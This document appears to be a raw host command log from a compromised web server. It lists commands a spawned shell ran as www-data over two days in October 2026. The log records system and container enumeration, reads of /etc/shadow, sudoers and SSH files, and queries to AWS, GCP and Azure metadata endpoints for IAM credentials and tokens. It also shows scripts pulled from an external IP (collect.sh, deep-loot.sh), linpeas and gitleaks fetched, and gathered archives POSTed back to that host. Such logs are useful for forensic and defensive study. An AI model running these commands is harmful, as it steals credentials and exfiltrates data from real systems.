Commandgrep -qx 98fc163c39b10e0dbeab9c273efe71b78f713a6997a45a10e5980aa0a972b052Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx a4b933cd058939054d42b578098ae0e6be639dc997aaf302420e16c5c860ce8aRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx ac98898999e9be33917fb85c2c447783fe690fb2daf35961864ce12188aba992Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx ad64eb2df8f08174ba262f66c8f2d6e803eb01510da520224ea9be19201e6882Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx aea65b1ea8d48100e7b22862c65cffad6f0835f83c1749585276c4b147e05ff4Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx af15ee8478cfbd00ae1fa5091ea5f19cce29a1ce60e567579c7c3b020b332335Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx b1f194962c61227b8b94dad037b69b116ea9c782586e96df8cc1d338ec657e6fRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx b549a5a8522d61b72ae6e7920cafc3680b4a25dc9a5d32485ac88c2a23726fd0Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx b5890fe1d69490e525cabacc11b3ce2b2d30650e27abdbc1dea5bfff11b28f86Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx b58e5cc37210940c8d08439feeefd17c0b7cf641bbadb04cd568b7324aa1840cRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx c2c23f0d22e8003ff9fbc30affa176dc2cb76112ead31492464fcb51fd3c48d4Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx c7beb28538dbcb96cd5ffa98d7b4c10b494cac4575e081ec43ea82a8dd4c2e5dRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx c8ffcdbca84fa3e9ca0aaead34c8d091ced52b23e8bd01d20713c859b1bfc5a7Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx cff0e1248eaea7619acf2d23c20677886a8e69bf849af9693d7c4eee270a7bccRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx d219d39b2a55db76bfd8c14ecdfe06ea40a6bbc71df2ff1a541c873384438e3eRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx d53f95046d13ba64721db191dfff2f4f38b8c6991bc7c1c18f91b9220efe8ad9Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx da5f215f80664214136546a3d596fc0b2e5087c8bf0eb0262658ffe892d1a8ddRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx e217b8984d3def11cfa84517c4a0f2174513a22dfbdd99afd8a1708ca5a4fd00Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx e448b675683da32700029e6f68314de99b446101e07049707dd090e6eaef7293Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx e911902e340d361e1f71465faeb9d2a5e3fb7fd88505b1c34f1caec4c5fd8017Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx f0aacb7263f7dcd72d2c211248fa126f78bd7fa06a8c055ec7131808e1ecaaf4Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx f3c96a2ec95fbb3371f2c18d77366fc09b07267a156beb4870943f3f029eb3f2Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx fc06b0badf68c82dd897441b0e39c457f3be49583f0401731bc5c9ae547b9495Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandhead -500Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
CommandhostnameRun by the spawned shell2026-10-29 19:58:502026-10-31 02:00:3911
CommandidRun by the spawned shell2026-10-29 19:58:502026-10-31 02:02:1136
Commandmkdir -p /tmp/<REDACTED>-443Run by the spawned shell2026-10-29 19:58:502026-10-29 20:06:152
Commandmkdir -p /tmp/<REDACTED>-443/configsRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandpgrep -f /tmp/beacon.shRun by the spawned shell2026-10-29 19:58:502026-10-31 00:43:214
Commandsh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "--Run by the spawned shell2026-10-29 19:58:502026-10-31 01:41:176
Commandsh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null Run by the spawned shell2026-10-29 19:58:502026-10-31 01:40:177
Commandsh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${Run by the spawned shell2026-10-29 19:58:502026-10-31 01:40:526
Commandsh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tmRun by the spawned shell2026-10-29 19:58:502026-10-31 01:40:226
Commandsh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | headRun by the spawned shell2026-10-29 19:58:502026-10-31 01:41:036
Commandsh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrouRun by the spawned shell2026-10-29 19:58:502026-10-31 01:40:226
Commandsh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers.Run by the spawned shell2026-10-29 19:58:502026-10-31 01:40:576
Commandsh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/deviceRun by the spawned shell2026-10-29 19:58:502026-10-31 01:40:176
Commandsh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.mRun by the spawned shell2026-10-29 19:58:502026-10-31 01:41:176
Commandsh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm"Run by the spawned shell2026-10-29 19:58:502026-10-31 01:41:126
Commandsh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /proRun by the spawned shell2026-10-29 19:58:502026-10-31 01:40:576
Commandsh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root |Run by the spawned shell2026-10-29 19:58:502026-10-31 01:42:006
Commandsort -u /tmp/<REDACTED>-443/.candidatesRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandtimeout 40 sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; doRun by the spawned shell2026-10-29 19:58:502026-10-31 01:41:176
Commandtimeout 40 sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2Run by the spawned shell2026-10-29 19:58:502026-10-31 01:40:177
Commandtimeout 40 sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printRun by the spawned shell2026-10-29 19:58:502026-10-31 01:40:496
Commandtimeout 40 sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /oRun by the spawned shell2026-10-29 19:58:502026-10-31 01:40:226
Commandtimeout 40 sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort Run by the spawned shell2026-10-29 19:58:502026-10-31 01:41:036
Commandtimeout 40 sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sRun by the spawned shell2026-10-29 19:58:502026-10-31 01:40:226
Commandtimeout 40 sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /eRun by the spawned shell2026-10-29 19:58:502026-10-31 01:40:576
Commandtimeout 40 sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat Run by the spawned shell2026-10-29 19:58:502026-10-31 01:40:176
Commandtimeout 40 sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroRun by the spawned shell2026-10-29 19:58:502026-10-31 01:41:176
Commandtimeout 40 sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 ecRun by the spawned shell2026-10-29 19:58:502026-10-31 01:41:126
Commandtimeout 40 sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== loadRun by the spawned shell2026-10-29 19:58:502026-10-31 01:40:576
Commandtimeout 40 sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grepRun by the spawned shell2026-10-29 19:58:502026-10-31 01:42:006
Commandcat /etc/os-releaseRun by the spawned shell2026-10-29 20:03:122026-10-31 01:40:1711
Commandls -la /.dockerenvRun by the spawned shell2026-10-29 20:03:122026-10-29 20:03:121
Commandls -la /var/wwwRun by the spawned shell2026-10-29 20:03:122026-10-29 20:03:121
Commandls -la /var/www/htmlRun by the spawned shell2026-10-29 20:03:122026-10-31 01:36:424
Commanduname -aRun by the spawned shell2026-10-29 20:03:122026-10-31 01:46:0214
Commandls -la /usr/sbin/sshdRun by the spawned shell2026-10-29 20:03:212026-10-29 20:03:372
Commandls -la /var/www/html/includesRun by the spawned shell2026-10-29 20:03:212026-10-31 01:36:014
Commandcat /proc/net/tcpRun by the spawned shell2026-10-29 20:03:272026-10-31 01:50:097
Commandls -la /etc/sshRun by the spawned shell2026-10-29 20:03:272026-10-29 20:03:271
Commandls -la /tmp /tmp/service-documentsRun by the spawned shell2026-10-29 20:03:272026-10-29 20:03:271
Commandls -la /var/run/docker.sock /run/secretsRun by the spawned shell2026-10-29 20:03:272026-10-29 20:03:271
Commandls -la /proc/1/root/Run by the spawned shell2026-10-29 20:03:372026-10-29 20:03:371
Commandls -la /run/secretsRun by the spawned shell2026-10-29 20:03:372026-10-29 20:03:371
Commandls -la /var/run/docker.sockRun by the spawned shell2026-10-29 20:03:372026-10-29 20:03:371
Commandcat /etc/hostsRun by the spawned shell2026-10-29 20:03:492026-10-31 01:40:529
Commandcat /etc/resolv.confRun by the spawned shell2026-10-29 20:03:492026-10-31 01:40:5210
Commandls -la /var/www/html/zz.txtRun by the spawned shell2026-10-29 20:03:492026-10-29 20:03:491
Commandls -ld /etc/cron.d /etc/crontabRun by the spawned shell2026-10-29 20:03:492026-10-29 20:03:491
Commandrm -f /tmp/.wtestRun by the spawned shell2026-10-29 20:03:492026-10-29 20:03:491
Commandtouch /tmp/.wtestRun by the spawned shell2026-10-29 20:03:492026-10-29 20:03:491
Commandtouch /var/www/.wtestRun by the spawned shell2026-10-29 20:03:492026-10-29 20:03:491
Commandcat /proc/net/routeRun by the spawned shell2026-10-29 20:03:562026-10-31 01:40:529
Commandls -ld /run /dev/shmRun by the spawned shell2026-10-29 20:03:562026-10-29 20:03:561
Commandcurl -sS -o /tmp/collect.sh http://206.245.153.56:8088/tools/collect.shRun by the spawned shell2026-10-29 20:04:072026-10-31 01:40:124
Commandcut -c1-80Run by the spawned shell2026-10-29 20:04:072026-10-31 01:40:177
Commandls -la /tmp/collect.shRun by the spawned shell2026-10-29 20:04:072026-10-29 20:04:071
Commandpgrep -af beaconRun by the spawned shell2026-10-29 20:04:072026-10-31 00:35:216
Commandcat /etc/debian_version /etc/alpine-release /etc/redhat-releaseRun by the spawned shell2026-10-29 20:04:122026-10-31 01:40:178
Commandegrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfoRun by the spawned shell2026-10-29 20:04:122026-10-31 01:40:227
Commandgetconf LONG_BITRun by the spawned shell2026-10-29 20:04:122026-10-31 01:40:178
Commandgetent passwd www-dataRun by the spawned shell2026-10-29 20:04:122026-10-31 01:40:1711
Commandid -unRun by the spawned shell2026-10-29 20:04:122026-10-31 01:46:0212
CommandlscpuRun by the spawned shell2026-10-29 20:04:122026-10-31 01:40:177
CommandnprocRun by the spawned shell2026-10-29 20:04:122026-10-31 01:46:0611
Commanduname -mRun by the spawned shell2026-10-29 20:04:122026-10-31 01:46:0212
Commanduname -rRun by the spawned shell2026-10-29 20:04:122026-10-31 01:46:0212
CommandwhoamiRun by the spawned shell2026-10-29 20:04:122026-10-31 01:40:178
Commanddf -hPRun by the spawned shell2026-10-29 20:04:172026-10-31 01:40:227
Commanddf -iPRun by the spawned shell2026-10-29 20:04:172026-10-31 01:40:227
Commandegrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfoRun by the spawned shell2026-10-29 20:04:172026-10-31 01:40:227
Commandfree -hRun by the spawned shell2026-10-29 20:04:172026-10-31 01:40:227
Commandfree -mRun by the spawned shell2026-10-29 20:04:172026-10-31 02:00:398
CommandlsblkRun by the spawned shell2026-10-29 20:04:172026-10-31 01:40:277
Commandfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\nRun by the spawned shell2026-10-29 20:04:222026-10-31 01:40:277
Commandps -efRun by the spawned shell2026-10-29 20:04:312026-10-29 20:04:311
Commandpgrep -af collectRun by the spawned shell2026-10-29 20:04:372026-10-29 20:08:514
Commandls -la /tmp/*.tsv /tmp/meta.tsvRun by the spawned shell2026-10-29 20:04:422026-10-29 20:04:421
Commandcat /proc/net/arpRun by the spawned shell2026-10-29 20:04:462026-10-31 01:40:527
Commandcat /proc/net/tcp /proc/net/tcp6Run by the spawned shell2026-10-29 20:04:462026-10-31 01:40:527
Commandcat /proc/net/udp /proc/net/udp6Run by the spawned shell2026-10-29 20:04:462026-10-31 01:40:527
Commandhostname -IRun by the spawned shell2026-10-29 20:04:462026-10-31 01:46:0215
Commandcat /etc/groupRun by the spawned shell2026-10-29 20:04:512026-10-31 01:41:037
Commandcat /etc/passwdRun by the spawned shell2026-10-29 20:04:512026-10-31 01:41:039
Commandcat /etc/shadowRun by the spawned shell2026-10-29 20:04:512026-10-31 01:41:037
Commandls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sockRun by the spawned shell2026-10-29 20:04:512026-10-31 01:40:577
Commandps -eo pid,ppid,user,stat,etime,rss,args --sort=-rssRun by the spawned shell2026-10-29 20:04:512026-10-31 01:40:577
Commandps auxwwRun by the spawned shell2026-10-29 20:04:512026-10-31 01:40:577
Commandcat /etc/gshadowRun by the spawned shell2026-10-29 20:04:572026-10-31 01:41:037
Commandcat /root/.ssh/config /home/*/.ssh/configRun by the spawned shell2026-10-29 20:04:572026-10-31 01:41:037
Commandls -la /etc/sudoers.dRun by the spawned shell2026-10-29 20:04:572026-10-31 01:41:037
Commandls -la /rootRun by the spawned shell2026-10-29 20:04:572026-10-31 01:41:037
Commandls -la /root /homeRun by the spawned shell2026-10-29 20:04:572026-10-31 01:41:037
Commandls -la /root/.ssh /home/*/.sshRun by the spawned shell2026-10-29 20:04:572026-10-31 01:41:037
Commandls -lat /tmpRun by the spawned shell2026-10-29 20:04:572026-10-29 20:04:571
CommandwRun by the spawned shell2026-10-29 20:04:572026-10-31 01:41:037
CommandwhoRun by the spawned shell2026-10-29 20:04:572026-10-31 01:41:037
Commandls -la /etc/default /etc/sysconfigRun by the spawned shell2026-10-29 20:05:022026-10-31 01:41:127
Commandls -la /etc/profile.dRun by the spawned shell2026-10-29 20:05:022026-10-31 01:41:127
Commandls -la /tmp/<REDACTED>-443Run by the spawned shell2026-10-29 20:05:022026-10-29 20:05:021
Commandls -la /.dockerenv /run/.containerenvRun by the spawned shell2026-10-29 20:05:062026-10-31 01:41:177
Commandcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/Run by the spawned shell2026-10-29 20:05:112026-10-31 01:41:177
Commandcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-idRun by the spawned shell2026-10-29 20:05:112026-10-31 01:41:177
Commandls -la /proc/1/rootRun by the spawned shell2026-10-29 20:05:112026-10-31 01:41:177
Commandls -la /run/secrets /var/run/secretsRun by the spawned shell2026-10-29 20:05:112026-10-31 01:41:177
Commandls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sockRun by the spawned shell2026-10-29 20:05:112026-10-31 01:41:177
Commandls -la /var/run/secrets/kubernetes.io/serviceaccount/Run by the spawned shell2026-10-29 20:05:112026-10-31 01:41:177
Commandls -lat /tmp/<REDACTED>-443Run by the spawned shell2026-10-29 20:05:112026-10-29 20:06:042
Commandcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-typeRun by the spawned shell2026-10-29 20:05:182026-10-31 01:41:247
Commandcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zoneRun by the spawned shell2026-10-29 20:05:182026-10-31 01:41:247
Commandcurl -s -w UP=%{http_code}\n -X POST --data-binary @/tmp/partial.tgz http://206.245.153.56:8088/1104/collect-partial.tgzRun by the spawned shell2026-10-29 20:05:232026-10-29 20:05:231
Commandcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostnameRun by the spawned shell2026-10-29 20:05:232026-10-31 01:41:297
Commandcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4Run by the spawned shell2026-10-29 20:05:232026-10-31 01:41:247
Commandcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4Run by the spawned shell2026-10-29 20:05:232026-10-31 01:41:297
Commandcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostnameRun by the spawned shell2026-10-29 20:05:302026-10-31 01:41:377
Commandcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groupsRun by the spawned shell2026-10-29 20:05:302026-10-31 01:41:377
Commandcurl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/tokenRun by the spawned shell2026-10-29 20:05:372026-10-31 01:41:447
Commandcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/infoRun by the spawned shell2026-10-29 20:05:372026-10-31 01:41:377
Commandcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/Run by the spawned shell2026-10-29 20:05:372026-10-31 01:41:447
Command/bin/sh -c gzipRun by the spawned shell2026-10-29 20:05:422026-10-29 20:05:421
Commandawk -F \t $1 != "jwt" {print} /tmp/<REDACTED>-deep/gitleaks-summary.tsvRun by the spawned shell2026-10-29 20:05:422026-10-29 20:05:421
Commandcurl -s -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-deep.tgz http://206.245.153.56:8088/1104/<REDACTED>-deep.tgzRun by the spawned shell2026-10-29 20:05:422026-10-29 20:05:421
Commandcurl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.jsonRun by the spawned shell2026-10-29 20:05:422026-10-31 01:41:497
Commandcurl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_dataRun by the spawned shell2026-10-29 20:05:422026-10-31 01:41:497
Commandcurl -sS -o /tmp/deep-loot.sh http://206.245.153.56:8088/tools/deep-loot.shRun by the spawned shell2026-10-29 20:05:422026-10-31 01:30:093
Commandcurl -sSL --max-time 100 -o /tmp/.loot-tools/linpeas.sh https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.shRun by the spawned shell2026-10-29 20:05:422026-10-31 01:34:574
Commandcurl -sSL --max-time 150 -o /tmp/.loot-tools/gl.tgz https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gzRun by the spawned shell2026-10-29 20:05:422026-10-31 01:30:283
Commandcut -f1 /tmp/<REDACTED>-deep/gitleaks-summary.tsvRun by the spawned shell2026-10-29 20:05:422026-10-29 20:05:421
Commandfind /tmp/<REDACTED>-deep -maxdepth 1 -name gitleaks-*.json -size +2cRun by the spawned shell2026-10-29 20:05:422026-10-31 01:30:283
Commandfind /tmp/<REDACTED>-deep -maxdepth 1 -type f -printf %P %s Run by the spawned shell2026-10-29 20:05:422026-10-31 01:30:283
CommandgzipRun by the spawned shell2026-10-29 20:05:422026-10-29 20:05:421
Commandls -l /tmp/<REDACTED>-deepRun by the spawned shell2026-10-29 20:05:422026-10-31 01:30:383
Commandls -la /tmp/deep-loot.shRun by the spawned shell2026-10-29 20:05:422026-10-29 20:05:421
Commandls -la /tmp/service-documentsRun by the spawned shell2026-10-29 20:05:422026-10-31 01:49:155
Commandmkdir -p /tmp/<REDACTED>-deep /tmp/.loot-tools /tmp/.loot-homeRun by the spawned shell2026-10-29 20:05:422026-10-31 01:30:283
Commandsed s/^/ /Run by the spawned shell2026-10-29 20:05:422026-10-29 20:05:421
Commandsh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.shRun by the spawned shell2026-10-29 20:05:422026-10-31 01:34:574
Commandsh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks'Run by the spawned shell2026-10-29 20:05:422026-10-31 01:30:283
Commandsh /tmp/deep-loot.sh -i 1104 -n <REDACTED>-deep -lRun by the spawned shell2026-10-29 20:05:422026-10-29 20:05:421
Commandsort -uRun by the spawned shell2026-10-29 20:05:422026-10-29 20:05:421
Commandtar czf /tmp/<REDACTED>-deep.tgz -C /tmp <REDACTED>-deepRun by the spawned shell2026-10-29 20:05:422026-10-29 20:05:421
Commandtimeout 120 sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.shRun by the spawned shell2026-10-29 20:05:422026-10-31 01:34:574
Commandtimeout 180 sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks'Run by the spawned shell2026-10-29 20:05:422026-10-31 01:30:283
Commandtimeout 900 sh /tmp/deep-loot.sh -i 1104 -n <REDACTED>-deep -lRun by the spawned shell2026-10-29 20:05:422026-10-29 20:05:421
Commanduniq -cRun by the spawned shell2026-10-29 20:05:422026-10-29 20:05:421
Commandcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/Run by the spawned shell2026-10-29 20:05:482026-10-31 01:41:497
Commandcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenRun by the spawned shell2026-10-29 20:05:482026-10-31 01:41:557
Commandcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-idRun by the spawned shell2026-10-29 20:05:482026-10-31 01:41:557
Commandcurl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01Run by the spawned shell2026-10-29 20:05:482026-10-31 01:41:557
Commandcurl -sS --max-time 2 http://169.254.169.254/metadata/v1/Run by the spawned shell2026-10-29 20:05:482026-10-31 01:41:557
Commandls -la /usr/local/etc/php /usr/local/etc/php/conf.dRun by the spawned shell2026-10-29 20:05:482026-10-29 20:05:481
Commandls -la /usr/local/etc/php/conf.dRun by the spawned shell2026-10-29 20:05:482026-10-29 20:05:481
Commandls -la /var/log/apache2Run by the spawned shell2026-10-29 20:05:482026-10-29 20:05:482
Commandfind /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\nRun by the spawned shell2026-10-29 20:05:532026-10-31 01:42:007
Commandfind /var/www /usr/share/nginx /srv/www -name .htaccess -type fRun by the spawned shell2026-10-29 20:05:532026-10-31 01:42:007
Commandfind /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\nRun by the spawned shell2026-10-29 20:05:532026-10-31 01:42:007
Commandls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.dRun by the spawned shell2026-10-29 20:05:532026-10-31 01:42:007
